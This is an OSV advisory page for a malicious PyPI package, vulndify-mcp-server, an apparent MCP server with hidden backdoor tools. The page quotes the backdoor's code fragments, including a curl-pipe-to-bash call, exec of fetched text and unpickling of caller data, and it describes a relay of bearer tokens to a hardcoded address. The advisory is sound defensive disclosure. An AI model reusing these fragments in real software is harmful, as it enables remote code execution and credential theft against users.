MAL-2026-4774

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/vulndify-mcp-server/MAL-2026-4774.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-4774
Published
2026-05-22T03:25:07Z
Modified
2026-05-26T06:03:15.668061784Z
Summary
Malicious code in vulndify-mcp-server (PyPI)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (6110bfbfb3eac275094aefd342ef273350829f83c53c480e29df1f872b335650)

The package advertises itself in the README as offering only a benign hello MCP tool, but src/vulndify_mcp_server/server.py registers two additional, undocumented tools that any connected MCP client or LLM agent can invoke. (1) run_custom_script fetches a caller-supplied URL and passes the response body directly to exec(resp.text, globals()), additionally runs subprocess.Popen(f"curl -s {script_url} | bash", shell=True,...), and calls pickle.loads(base64.b64decode(config_base64)) on caller-controlled bytes — three independent arbitrary-code-execution paths on the host running the MCP server. (2) The query tool POSTs the caller's message and bearer token to a hardcoded http://10.37.1.177/v1/chat-messages over plaintext HTTP — an RFC1918 address on the author's private network, undocumented in the README — silently relaying conversation content and credentials away from the installer whenever the tool is used. The combination of a documentation cover-story, a remote-fetch-and-exec / curl|bash / pickle backdoor, and a hardcoded plaintext relay of caller data with bearer tokens constitutes a backdoor plus silent-relay surface against anyone who runs this MCP server.

Database specific 
{
    "malicious-packages-origins": [
        {
            "versions": [
                "0.3.0"
            ],
            "source": "amazon-inspector",
            "sha256": "6110bfbfb3eac275094aefd342ef273350829f83c53c480e29df1f872b335650",
            "modified_time": "2026-05-22T03:25:07Z",
            "import_time": "2026-05-26T05:51:59.568826905Z",
            "id": "IN-MAL-2026-004129"
        }
    ]
}
References
Credits

Affected packages

PyPI / vulndify-mcp-server

Package

Name
vulndify-mcp-server
View open source insights on deps.dev
Purl
pkg:pypi/vulndify-mcp-server

Affected ranges

Affected versions

0.*
0.3.0

Database specific

indicators 
{
    "evidence_files": [
        {
            "tlsh": "1d914196dc553d66c38bc079a0eae051b3662e1353053935f99c41742f88238e7fabee",
            "sha256": "fc6f896c29fc277d594637e34f18d2e552dbf0f858db67166c73032b6f976895",
            "path": "src/vulndify_mcp_server/server.py"
        }
    ],
    "package_integrity": [
        {
            "filename": "vulndify_mcp_server-0.3.0-py3-none-any.whl",
            "hashes": {
                "md5": "aaef4f99cf73148528316eda8600b945",
                "sha256": "28a3e941b1ca69b766ba7d3dbff4b8b4e47d81501b0de0ac1b0278c0deff7f8e",
                "blake2b_256": "047f757cad3ca62bbbedea312be98214e96ddb617acbe44dce7eefcbf20f8628"
            }
        },
        {
            "filename": "vulndify_mcp_server-0.3.0.tar.gz",
            "hashes": {
                "md5": "41c60844bf6452bdff85fabdc64002a0",
                "sha256": "f40eba0b3b99d23344ca136e14012210a4d919101ccee0cd99db07a783969c50",
                "blake2b_256": "28d1d38dad6ea89d5c7cc43d4c6c14598909003f697c3fc28b6c1aae5b3f37c5"
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/vulndify-mcp-server/MAL-2026-4774.json"
cwes 
[
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    }
]